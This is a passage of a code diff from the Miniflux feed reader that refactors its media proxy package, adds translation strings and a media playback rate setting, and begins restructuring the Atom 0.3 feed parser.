"form.integration.readwise_api_key": "Readwise Reader Access Token", @@ -488,7 +491,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -507,5 +510,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "音频/视频的播放速度", + "error.settings_media_playback_rate_range": "播放速度超出范围" } diff --git a/internal/locale/translations/zh_TW.json b/internal/locale/translations/zh_TW.json index 8f748c01..39504b73 100644 --- a/internal/locale/translations/zh_TW.json +++ b/internal/locale/translations/zh_TW.json @@ -169,6 +169,8 @@ "page.keyboard_shortcuts.go_to_feed": "轉到Feed頁面", "page.keyboard_shortcuts.go_to_previous_page": "上一頁", "page.keyboard_shortcuts.go_to_next_page": "下一頁", + "page.keyboard_shortcuts.go_to_bottom_item": "转到底部项目", + "page.keyboard_shortcuts.go_to_top_item": "转到顶部项目", "page.keyboard_shortcuts.open_item": "開啟選定的文章", "page.keyboard_shortcuts.open_original": "開啟原始連結", "page.keyboard_shortcuts.open_original_same_window": "在當前標籤頁中開啟原始連結", @@ -246,6 +248,7 @@ "alert.no_bookmark": "目前沒有收藏", "alert.no_category": "目前沒有分類", "alert.no_category_entry": "該分類下沒有文章", + "alert.no_tag_entry": "沒有與此標籤相符的條目。", "alert.no_feed_entry": "該Feed中沒有文章", "alert.no_feed": "目前沒有Feed", "alert.no_history": "目前沒有歷史", @@ -488,7 +491,7 @@ "error.http_body_read": "Unable to read the HTTP body: %v.", "error.http_empty_response_body": "The HTTP response body is empty.", "error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?", - "error.tls_error": "TLS error: %v. You could disable TLS verification in the feed settings if you would like.", + "error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.", "error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.", "error.network_timeout": "This website is too slow and the request timed out: %v", "error.http_client_error": "HTTP client error: %v.", @@ -507,5 +510,7 @@ "error.unable_to_parse_feed": "Unable to parse this feed: %v.", "error.feed_not_found": "This feed does not exist or does not belong to this user.", "error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.", - "error.feed_format_not_detected": "Unable to detect feed format: %v." + "error.feed_format_not_detected": "Unable to detect feed format: %v.", + "form.prefs.label.media_playback_rate": "音訊/視訊的播放速度", + "error.settings_media_playback_rate_range": "播放速度超出範圍" } diff --git a/internal/proxy/media_proxy_test.go b/internal/mediaproxy/media_proxy_test.go similarity index 67% rename from internal/proxy/media_proxy_test.go rename to internal/mediaproxy/media_proxy_test.go index bd0de097..2006fd6f 100644 --- a/internal/proxy/media_proxy_test.go +++ b/internal/mediaproxy/media_proxy_test.go @@ -1,7 +1,7 @@ // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. // SPDX-License-Identifier: Apache-2.0 -package proxy // import "miniflux.app/v2/internal/proxy" +package mediaproxy // import "miniflux.app/v2/internal/mediaproxy" import ( "net/http" @@ -29,11 +29,11 @@ func TestProxyFilterWithHttpDefault(t *testing.T) { r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy") input := `

Test

` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) expected := `

Test

` if expected != output { - t.Errorf(`Not expected output: got "%s" instead of "%s"`, output, expected) + t.Errorf(`Not expected output: got %q instead of %q`, output, expected) } } @@ -53,11 +53,11 @@ func TestProxyFilterWithHttpsDefault(t *testing.T) { r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy") input := `

Test

` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) expected := `

Test

` if expected != output { - t.Errorf(`Not expected output: got "%s" instead of "%s"`, output, expected) + t.Errorf(`Not expected output: got %q instead of %q`, output, expected) } } @@ -76,11 +76,11 @@ func TestProxyFilterWithHttpNever(t *testing.T) { r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy") input := `

Test

` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) expected := input if expected != output { - t.Errorf(`Not expected output: got "%s" instead of "%s"`, output, expected) + t.Errorf(`Not expected output: got %q instead of %q`, output, expected) } } @@ -99,11 +99,11 @@ func TestProxyFilterWithHttpsNever(t *testing.T) { r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy") input := `

Test

` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) expected := input if expected != output { - t.Errorf(`Not expected output: got "%s" instead of "%s"`, output, expected) + t.Errorf(`Not expected output: got %q instead of %q`, output, expected) } } @@ -124,11 +124,11 @@ func TestProxyFilterWithHttpAlways(t *testing.T) { r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy") input := `

Test

` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) expected := `

Test

` if expected != output { - t.Errorf(`Not expected output: got "%s" instead of "%s"`, output, expected) + t.Errorf(`Not expected output: got %q instead of %q`, output, expected) } } @@ -149,11 +149,87 @@ func TestProxyFilterWithHttpsAlways(t *testing.T) { r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy") input := `

Test

` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) expected := `

Test

` if expected != output { - t.Errorf(`Not expected output: got "%s" instead of "%s"`, output, expected) + t.Errorf(`Not expected output: got %q instead of %q`, output, expected) + } +} + +func TestAbsoluteProxyFilterWithHttpsAlways(t *testing.T) { + os.Clearenv() + os.Setenv("PROXY_OPTION", "all") + os.Setenv("PROXY_MEDIA_TYPES", "image") + os.Setenv("PROXY_PRIVATE_KEY", "test") + + var err error + parser := config.NewParser() + config.Opts, err = parser.ParseEnvironmentVariables() + if err != nil { + t.Fatalf(`Parsing failure: %v`, err) + } + + r := mux.NewRouter() + r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy") + + input := `

Test

` + output := RewriteDocumentWithAbsoluteProxyURL(r, "localhost", input) + expected := `

Test

` + + if expected != output { + t.Errorf(`Not expected output: got %q instead of %q`, output, expected) + } +} + +func TestAbsoluteProxyFilterWithHttpsScheme(t *testing.T) { + os.Clearenv() + os.Setenv("PROXY_OPTION", "all") + os.Setenv("PROXY_MEDIA_TYPES", "image") + os.Setenv("PROXY_PRIVATE_KEY", "test") + os.Setenv("HTTPS", "1") + + var err error + parser := config.NewParser() + config.Opts, err = parser.ParseEnvironmentVariables() + if err != nil { + t.Fatalf(`Parsing failure: %v`, err) + } + + r := mux.NewRouter() + r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy") + + input := `

Test

` + output := RewriteDocumentWithAbsoluteProxyURL(r, "localhost", input) + expected := `

Test

` + + if expected != output { + t.Errorf(`Not expected output: got %q instead of %q`, output, expected) + } +} + +func TestAbsoluteProxyFilterWithHttpsAlwaysAndAudioTag(t *testing.T) { + os.Clearenv() + os.Setenv("PROXY_OPTION", "all") + os.Setenv("PROXY_MEDIA_TYPES", "audio") + os.Setenv("PROXY_PRIVATE_KEY", "test") + + var err error + parser := config.NewParser() + config.Opts, err = parser.ParseEnvironmentVariables() + if err != nil { + t.Fatalf(`Parsing failure: %v`, err) + } + + r := mux.NewRouter() + r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy") + + input := `` + output := RewriteDocumentWithAbsoluteProxyURL(r, "localhost", input) + expected := `` + + if expected != output { + t.Errorf(`Not expected output: got %q instead of %q`, output, expected) } } @@ -174,11 +250,61 @@ func TestProxyFilterWithHttpsAlwaysAndCustomProxyServer(t *testing.T) { r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy") input := `

Test

` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) expected := `

Test

` if expected != output { - t.Errorf(`Not expected output: got "%s" instead of "%s"`, output, expected) + t.Errorf(`Not expected output: got %q instead of %q`, output, expected) + } +} + +func TestProxyFilterWithHttpsAlwaysAndIncorrectCustomProxyServer(t *testing.T) { + os.Clearenv() + os.Setenv("PROXY_OPTION", "all") + os.Setenv("PROXY_MEDIA_TYPES", "image") + os.Setenv("PROXY_URL", "http://:8080example.com") + + var err error + parser := config.NewParser() + config.Opts, err = parser.ParseEnvironmentVariables() + if err != nil { + t.Fatalf(`Parsing failure: %v`, err) + } + + r := mux.NewRouter() + r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy") + + input := `

Test

` + output := RewriteDocumentWithRelativeProxyURL(r, input) + expected := `

Test

` + + if expected != output { + t.Errorf(`Not expected output: got %q instead of %q`, output, expected) + } +} + +func TestAbsoluteProxyFilterWithHttpsAlwaysAndCustomProxyServer(t *testing.T) { + os.Clearenv() + os.Setenv("MEDIA_PROXY_MODE", "all") + os.Setenv("MEDIA_PROXY_RESOURCE_TYPES", "image") + os.Setenv("MEDIA_PROXY_CUSTOM_URL", "https://proxy-example/proxy") + + var err error + parser := config.NewParser() + config.Opts, err = parser.ParseEnvironmentVariables() + if err != nil { + t.Fatalf(`Parsing failure: %v`, err) + } + + r := mux.NewRouter() + r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy") + + input := `

Test

` + output := RewriteDocumentWithAbsoluteProxyURL(r, "localhost", input) + expected := `

Test

` + + if expected != output { + t.Errorf(`Not expected output: got %q instead of %q`, output, expected) } } @@ -198,11 +324,11 @@ func TestProxyFilterWithHttpInvalid(t *testing.T) { r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy") input := `

Test

` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) expected := `

Test

` if expected != output { - t.Errorf(`Not expected output: got "%s" instead of "%s"`, output, expected) + t.Errorf(`Not expected output: got %q instead of %q`, output, expected) } } @@ -222,11 +348,11 @@ func TestProxyFilterWithHttpsInvalid(t *testing.T) { r.HandleFunc("/proxy/{encodedDigest}/{encodedURL}", func(w http.ResponseWriter, r *http.Request) {}).Name("proxy") input := `

Test

` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) expected := `

Test

` if expected != output { - t.Errorf(`Not expected output: got "%s" instead of "%s"`, output, expected) + t.Errorf(`Not expected output: got %q instead of %q`, output, expected) } } @@ -248,7 +374,7 @@ func TestProxyFilterWithSrcset(t *testing.T) { input := `

test

` expected := `

test

` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) if expected != output { t.Errorf(`Not expected output: got %s`, output) @@ -273,7 +399,7 @@ func TestProxyFilterWithEmptySrcset(t *testing.T) { input := `

test

` expected := `

test

` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) if expected != output { t.Errorf(`Not expected output: got %s`, output) @@ -298,7 +424,7 @@ func TestProxyFilterWithPictureSource(t *testing.T) { input := `` expected := `` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) if expected != output { t.Errorf(`Not expected output: got %s`, output) @@ -323,7 +449,7 @@ func TestProxyFilterOnlyNonHTTPWithPictureSource(t *testing.T) { input := `` expected := `` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) if expected != output { t.Errorf(`Not expected output: got %s`, output) @@ -347,7 +473,7 @@ func TestProxyWithImageDataURL(t *testing.T) { input := `` expected := `` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) if expected != output { t.Errorf(`Not expected output: got %s`, output) @@ -371,7 +497,7 @@ func TestProxyWithImageSourceDataURL(t *testing.T) { input := `` expected := `` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) if expected != output { t.Errorf(`Not expected output: got %s`, output) @@ -396,7 +522,7 @@ func TestProxyFilterWithVideo(t *testing.T) { input := `` expected := `` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) if expected != output { t.Errorf(`Not expected output: got %s`, output) @@ -421,7 +547,7 @@ func TestProxyFilterVideoPoster(t *testing.T) { input := `` expected := `` - output := ProxyRewriter(r, input) + output := RewriteDocumentWithRelativeProxyURL(r, input) if expected != output { t.Errorf(`Not expected output: got %s`, output) diff --git a/internal/proxy/media_proxy.go b/internal/mediaproxy/rewriter.go similarity index 78% rename from internal/proxy/media_proxy.go rename to internal/mediaproxy/rewriter.go index 33840141..b77be654 100644 --- a/internal/proxy/media_proxy.go +++ b/internal/mediaproxy/rewriter.go @@ -1,7 +1,7 @@ // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. // SPDX-License-Identifier: Apache-2.0 -package proxy // import "miniflux.app/v2/internal/proxy" +package mediaproxy // import "miniflux.app/v2/internal/mediaproxy" import ( "strings" @@ -16,31 +16,29 @@ import ( type urlProxyRewriter func(router *mux.Router, url string) string -// ProxyRewriter replaces media URLs with internal proxy URLs. -func ProxyRewriter(router *mux.Router, data string) string { - return genericProxyRewriter(router, ProxifyURL, data) +func RewriteDocumentWithRelativeProxyURL(router *mux.Router, htmlDocument string) string { + return genericProxyRewriter(router, ProxifyRelativeURL, htmlDocument) } -// AbsoluteProxyRewriter do the same as ProxyRewriter except it uses absolute URLs. -func AbsoluteProxyRewriter(router *mux.Router, host, data string) string { +func RewriteDocumentWithAbsoluteProxyURL(router *mux.Router, host, htmlDocument string) string { proxifyFunction := func(router *mux.Router, url string) string { - return AbsoluteProxifyURL(router, host, url) + return ProxifyAbsoluteURL(router, host, url) } - return genericProxyRewriter(router, proxifyFunction, data) + return genericProxyRewriter(router, proxifyFunction, htmlDocument) } -func genericProxyRewriter(router *mux.Router, proxifyFunction urlProxyRewriter, data string) string { - proxyOption := config.Opts.ProxyOption() +func genericProxyRewriter(router *mux.Router, proxifyFunction urlProxyRewriter, htmlDocument string) string { + proxyOption := config.Opts.MediaProxyMode() if proxyOption == "none" { - return data + return htmlDocument } - doc, err := goquery.NewDocumentFromReader(strings.NewReader(data)) + doc, err := goquery.NewDocumentFromReader(strings.NewReader(htmlDocument)) if err != nil { - return data + return htmlDocument } - for _, mediaType := range config.Opts.ProxyMediaTypes() { + for _, mediaType := range config.Opts.MediaProxyResourceTypes() { switch mediaType { case "image": doc.Find("img, picture source").Each(func(i int, img *goquery.Selection) { @@ -91,7 +89,7 @@ func genericProxyRewriter(router *mux.Router, proxifyFunction urlProxyRewriter, output, err := doc.Find("body").First().Html() if err != nil { - return data + return htmlDocument } return output diff --git a/internal/mediaproxy/url.go b/internal/mediaproxy/url.go new file mode 100644 index 00000000..c3a9a953 --- /dev/null +++ b/internal/mediaproxy/url.go @@ -0,0 +1,70 @@ +// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +package mediaproxy // import "miniflux.app/v2/internal/mediaproxy" + +import ( + "crypto/hmac" + "crypto/sha256" + "encoding/base64" + "log/slog" + "net/url" + "path" + + "miniflux.app/v2/internal/http/route" + + "github.com/gorilla/mux" + + "miniflux.app/v2/internal/config" +) + +func ProxifyRelativeURL(router *mux.Router, mediaURL string) string { + if mediaURL == "" { + return "" + } + + if customProxyURL := config.Opts.MediaCustomProxyURL(); customProxyURL != "" { + return proxifyURLWithCustomProxy(mediaURL, customProxyURL) + } + + mac := hmac.New(sha256.New, config.Opts.MediaProxyPrivateKey()) + mac.Write([]byte(mediaURL)) + digest := mac.Sum(nil) + return route.Path(router, "proxy", "encodedDigest", base64.URLEncoding.EncodeToString(digest), "encodedURL", base64.URLEncoding.EncodeToString([]byte(mediaURL))) +} + +func ProxifyAbsoluteURL(router *mux.Router, host, mediaURL string) string { + if mediaURL == "" { + return "" + } + + if customProxyURL := config.Opts.MediaCustomProxyURL(); customProxyURL != "" { + return proxifyURLWithCustomProxy(mediaURL, customProxyURL) + } + + proxifiedUrl := ProxifyRelativeURL(router, mediaURL) + scheme := "http" + if config.Opts.HTTPS { + scheme = "https" + } + + return scheme + "://" + host + proxifiedUrl +} + +func proxifyURLWithCustomProxy(mediaURL, customProxyURL string) string { + if customProxyURL == "" { + return mediaURL + } + + proxyUrl, err := url.Parse(customProxyURL) + if err != nil { + slog.Error("Incorrect custom media proxy URL", + slog.String("custom_proxy_url", customProxyURL), + slog.Any("error", err), + ) + return mediaURL + } + + proxyUrl.Path = path.Join(proxyUrl.Path, base64.URLEncoding.EncodeToString([]byte(mediaURL))) + return proxyUrl.String() +} diff --git a/internal/model/enclosure.go b/internal/model/enclosure.go index 20cb5bfe..6bb7734e 100644 --- a/internal/model/enclosure.go +++ b/internal/model/enclosure.go @@ -2,7 +2,6 @@ // SPDX-License-Identifier: Apache-2.0 package model // import "miniflux.app/v2/internal/model" -import "strings" // Enclosure represents an attachment. type Enclosure struct { @@ -17,15 +16,8 @@ type Enclosure struct { // Html5MimeType will modify the actual MimeType to allow direct playback from HTML5 player for some kind of MimeType func (e Enclosure) Html5MimeType() string { - if strings.HasPrefix(e.MimeType, "video") { - switch e.MimeType { - // Solution from this stackoverflow discussion: - // https://stackoverflow.com/questions/15277147/m4v-mimetype-video-mp4-or-video-m4v/66945470#66945470 - // tested at the time of this commit (06/2023) on latest Firefox & Vivaldi on this feed - // https://www.florenceporcel.com/podcast/lfhdu.xml - case "video/m4v": - return "video/x-m4v" - } + if e.MimeType == "video/m4v" { + return "video/x-m4v" } return e.MimeType } diff --git a/internal/model/feed.go b/internal/model/feed.go index f9181ed9..5273eea2 100644 --- a/internal/model/feed.go +++ b/internal/model/feed.go @@ -159,25 +159,7 @@ type FeedCreationRequestFromSubscriptionDiscovery struct { ETag string LastModified string - FeedURL string `json:"feed_url"` - CategoryID int64 `json:"category_id"` - UserAgent string `json:"user_agent"` - Cookie string `json:"cookie"` - Username string `json:"username"` - Password string `json:"password"` - Crawler bool `json:"crawler"` - Disabled bool `json:"disabled"` - NoMediaPlayer bool `json:"no_media_player"` - IgnoreHTTPCache bool `json:"ignore_http_cache"` - AllowSelfSignedCertificates bool `json:"allow_self_signed_certificates"` - FetchViaProxy bool `json:"fetch_via_proxy"` - ScraperRules string `json:"scraper_rules"` - RewriteRules string `json:"rewrite_rules"` - BlocklistRules string `json:"blocklist_rules"` - KeeplistRules string `json:"keeplist_rules"` - HideGlobally bool `json:"hide_globally"` - UrlRewriteRules string `json:"urlrewrite_rules"` - DisableHTTP2 bool `json:"disable_http2"` + FeedCreationRequest } // FeedModificationRequest represents the request to update a feed. diff --git a/internal/model/model.go b/internal/model/model.go index 82d69b8a..86f1e370 100644 --- a/internal/model/model.go +++ b/internal/model/model.go @@ -3,26 +3,20 @@ package model // import "miniflux.app/v2/internal/model" -// OptionalString populates an optional string field. +type Number interface { + int | int64 | float64 +} + +func OptionalNumber[T Number](value T) *T { + if value > 0 { + return &value + } + return nil +} + func OptionalString(value string) *string { if value != "" { return &value } return nil } - -// OptionalInt populates an optional int field. -func OptionalInt(value int) *int { - if value > 0 { - return &value - } - return nil -} - -// OptionalInt64 populates an optional int64 field. -func OptionalInt64(value int64) *int64 { - if value > 0 { - return &value - } - return nil -} diff --git a/internal/model/user.go b/internal/model/user.go index 61ff1065..62aff600 100644 --- a/internal/model/user.go +++ b/internal/model/user.go @@ -35,6 +35,7 @@ type User struct { DefaultHomePage string `json:"default_home_page"` CategoriesSortingOrder string `json:"categories_sorting_order"` MarkReadOnView bool `json:"mark_read_on_view"` + MediaPlaybackRate float64 `json:"media_playback_rate"` } // UserCreationRequest represents the request to create a user. @@ -48,28 +49,29 @@ type UserCreationRequest struct { // UserModificationRequest represents the request to update a user. type UserModificationRequest struct { - Username *string `json:"username"` - Password *string `json:"password"` - Theme *string `json:"theme"` - Language *string `json:"language"` - Timezone *string `json:"timezone"` - EntryDirection *string `json:"entry_sorting_direction"` - EntryOrder *string `json:"entry_sorting_order"` - Stylesheet *string `json:"stylesheet"` - GoogleID *string `json:"google_id"` - OpenIDConnectID *string `json:"openid_connect_id"` - EntriesPerPage *int `json:"entries_per_page"` - IsAdmin *bool `json:"is_admin"` - KeyboardShortcuts *bool `json:"keyboard_shortcuts"` - ShowReadingTime *bool `json:"show_reading_time"` - EntrySwipe *bool `json:"entry_swipe"` - GestureNav *string `json:"gesture_nav"` - DisplayMode *string `json:"display_mode"` - DefaultReadingSpeed *int `json:"default_reading_speed"` - CJKReadingSpeed *int `json:"cjk_reading_speed"` - DefaultHomePage *string `json:"default_home_page"` - CategoriesSortingOrder *string `json:"categories_sorting_order"` - MarkReadOnView *bool `json:"mark_read_on_view"` + Username *string `json:"username"` + Password *string `json:"password"` + Theme *string `json:"theme"` + Language *string `json:"language"` + Timezone *string `json:"timezone"` + EntryDirection *string `json:"entry_sorting_direction"` + EntryOrder *string `json:"entry_sorting_order"` + Stylesheet *string `json:"stylesheet"` + GoogleID *string `json:"google_id"` + OpenIDConnectID *string `json:"openid_connect_id"` + EntriesPerPage *int `json:"entries_per_page"` + IsAdmin *bool `json:"is_admin"` + KeyboardShortcuts *bool `json:"keyboard_shortcuts"` + ShowReadingTime *bool `json:"show_reading_time"` + EntrySwipe *bool `json:"entry_swipe"` + GestureNav *string `json:"gesture_nav"` + DisplayMode *string `json:"display_mode"` + DefaultReadingSpeed *int `json:"default_reading_speed"` + CJKReadingSpeed *int `json:"cjk_reading_speed"` + DefaultHomePage *string `json:"default_home_page"` + CategoriesSortingOrder *string `json:"categories_sorting_order"` + MarkReadOnView *bool `json:"mark_read_on_view"` + MediaPlaybackRate *float64 `json:"media_playback_rate"` } // Patch updates the User object with the modification request. @@ -161,6 +163,10 @@ func (u *UserModificationRequest) Patch(user *User) { if u.MarkReadOnView != nil { user.MarkReadOnView = *u.MarkReadOnView } + + if u.MediaPlaybackRate != nil { + user.MediaPlaybackRate = *u.MediaPlaybackRate + } } // UseTimezone converts last login date to the given timezone. diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go deleted file mode 100644 index 8b177348..00000000 --- a/internal/proxy/proxy.go +++ /dev/null @@ -1,69 +0,0 @@ -// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. -// SPDX-License-Identifier: Apache-2.0 - -package proxy // import "miniflux.app/v2/internal/proxy" - -import ( - "crypto/hmac" - "crypto/sha256" - "encoding/base64" - "net/url" - "path" - - "miniflux.app/v2/internal/http/route" - - "github.com/gorilla/mux" - - "miniflux.app/v2/internal/config" -) - -// ProxifyURL generates a relative URL for a proxified resource. -func ProxifyURL(router *mux.Router, link string) string { - if link != "" { - proxyImageUrl := config.Opts.ProxyUrl() - - if proxyImageUrl == "" { - mac := hmac.New(sha256.New, config.Opts.ProxyPrivateKey()) - mac.Write([]byte(link)) - digest := mac.Sum(nil) - return route.Path(router, "proxy", "encodedDigest", base64.URLEncoding.EncodeToString(digest), "encodedURL", base64.URLEncoding.EncodeToString([]byte(link))) - } - - proxyUrl, err := url.Parse(proxyImageUrl) - if err != nil { - return "" - } - - proxyUrl.Path = path.Join(proxyUrl.Path, base64.URLEncoding.EncodeToString([]byte(link))) - return proxyUrl.String() - } - return "" -} - -// AbsoluteProxifyURL generates an absolute URL for a proxified resource. -func AbsoluteProxifyURL(router *mux.Router, host, link string) string { - if link != "" { - proxyImageUrl := config.Opts.ProxyUrl() - - if proxyImageUrl == "" { - mac := hmac.New(sha256.New, config.Opts.ProxyPrivateKey()) - mac.Write([]byte(link)) - digest := mac.Sum(nil) - path := route.Path(router, "proxy", "encodedDigest", base64.URLEncoding.EncodeToString(digest), "encodedURL", base64.URLEncoding.EncodeToString([]byte(link))) - if config.Opts.HTTPS { - return "https://" + host + path - } else { - return "http://" + host + path - } - } - - proxyUrl, err := url.Parse(proxyImageUrl) - if err != nil { - return "" - } - - proxyUrl.Path = path.Join(proxyUrl.Path, base64.URLEncoding.EncodeToString([]byte(link))) - return proxyUrl.String() - } - return "" -} diff --git a/internal/reader/atom/atom_03.go b/internal/reader/atom/atom_03.go index edcb83dc..fb458e91 100644 --- a/internal/reader/atom/atom_03.go +++ b/internal/reader/atom/atom_03.go @@ -6,158 +6,114 @@ package atom // import "miniflux.app/v2/internal/reader/atom" import ( "encoding/base64" "html" - "log/slog" "strings" - "time" - - "miniflux.app/v2/internal/crypto" - "miniflux.app/v2/internal/model" - "miniflux.app/v2/internal/reader/date" - "miniflux.app/v2/internal/reader/sanitizer" - "miniflux.app/v2/internal/urllib" ) // Specs: http://web.archive.org/web/20060811235523/http://www.mnot.net/drafts/draft-nottingham-atom-format-02.html -type atom03Feed struct { - ID string `xml:"id"` - Title atom03Text `xml:"title"` - Author atomPerson `xml:"author"` - Links atomLinks `xml:"link"` - Entries []atom03Entry `xml:"entry"` +type Atom03Feed struct { + Version string `xml:"version,attr"` + + // The "atom:id" element's content conveys a permanent, globally unique identifier for the feed. + // It MUST NOT change over time, even if the feed is relocated. atom:feed elements MAY contain an atom:id element, + // but MUST NOT contain more than one. The content of this element, when present, MUST be a URI. + ID string `xml:"http://purl.org/atom/ns# id"` + + // The "atom:title" element is a Content construct that conveys a human-readable title for the feed. + // atom:feed elements MUST contain exactly one atom:title element. + // If the feed describes a Web resource, its content SHOULD be the same as that resource's title. + Title Atom03Content `xml:"http://purl.org/atom/ns# title"` + + // The "atom:link" element is a Link construct that conveys a URI associated with the feed. + // The nature of the relationship as well as the link itself is determined by the element's content. + // atom:feed elements MUST contain at least one atom:link element with a rel attribute value of "alternate". + // atom:feed elements MUST NOT contain more than one atom:link element with a rel attribute value of "alternate" that has the same type attribute value. + // atom:feed elements MAY contain additional atom:link elements beyond those described above. + Links AtomLinks `xml:"http://purl.org/atom/ns# link"` + + // The "atom:author" element is a Person construct that indicates the default author of the feed. + // atom:feed elements MUST contain exactly one atom:author element, + // UNLESS all of the atom:feed element's child atom:entry elements contain an atom:author element. + // atom:feed elements MUST NOT contain more than one atom:author element. + Author AtomPerson `xml:"http://purl.org/atom/ns# author"` + + // The "atom:entry" element's represents an individual entry that is contained by the feed. + // atom:feed elements MAY contain one or more atom:entry elements. + Entries []Atom03Entry `xml:"http://purl.org/atom/ns# entry"` } -func (a *atom03Feed) Transform(baseURL string) *model.Feed { - var err error +type Atom03Entry struct { + // The "atom:id" element's content conveys a permanent, globally unique identifier for the entry. + // It MUST NOT change over time, even if other representations of the entry (such as a web representation pointed to by the entry's atom:link element) are relocated. + // If the same entry is syndicated in two atom:feeds published by the same entity, the entry's atom:id MUST be the same in both feeds. + ID string `xml:"id"` - feed := new(model.Feed) + // The "atom:title" element is a Content construct that conveys a human-readable title for the entry. + // atom:entry elements MUST have exactly one "atom:title" element. + // If an entry describes a Web resource, its content SHOULD be the same as that resource's title. + Title Atom03Content `xml:"title"` - feedURL := a.Links.firstLinkWithRelation("self") - feed.FeedURL, err = urllib.AbsoluteURL(baseURL, feedURL) - if err != nil { - feed.FeedURL = feedURL - } + // The "atom:modified" element is a Date construct that indicates the time that the entry was last modified. + // atom:entry elements MUST contain an atom:modified element, but MUST NOT contain more than one. + // The content of an atom:modified element MUST have a time zone whose value SHOULD be "UTC". + Modified string `xml:"modified"` - siteURL := a.Links.originalLink() - feed.SiteURL, err = urllib.AbsoluteURL(baseURL, siteURL) - if err != nil { - feed.SiteURL = siteURL - } + // The "atom:issued" element is a Date construct that indicates the time that the entry was issued. + // atom:entry elements MUST contain an atom:issued element, but MUST NOT contain more than one. + // The content of an atom:issued element MAY omit a time zone. + Issued string `xml:"issued"` - feed.Title = a.Title.String() - if feed.Title == "" { - feed.Title = feed.SiteURL - } + // The "atom:created" element is a Date construct that indicates the time that the entry was created. + // atom:entry elements MAY contain an atom:created element, but MUST NOT contain more than one. + // The content of an atom:created element MUST have a time zone whose value SHOULD be "UTC". + // If atom:created is not present, its content MUST considered to be the same as that of atom:modified. + Created string `xml:"created"` - for _, entry := range a.Entries { - item := entry.Transform() - entryURL, err := urllib.AbsoluteURL(feed.SiteURL, item.URL) - if err == nil { - item.URL = entryURL - } + // The "atom:link" element is a Link construct that conveys a URI associated with the entry. + // The nature of the relationship as well as the link itself is determined by the element's content. + // atom:entry elements MUST contain at least one atom:link element with a rel attribute value of "alternate". + // atom:entry elements MUST NOT contain more than one atom:link element with a rel attribute value of "alternate" that has the same type attribute value. + // atom:entry elements MAY contain additional atom:link elements beyond those described above. + Links AtomLinks `xml:"link"` - if item.Author == "" { - item.Author = a.Author.String() - } + // The "atom:summary" element is a Content construct that conveys a short summary, abstract or excerpt of the entry. + // atom:entry elements MAY contain an atom:created element, but MUST NOT contain more than one. + Summary Atom03Content 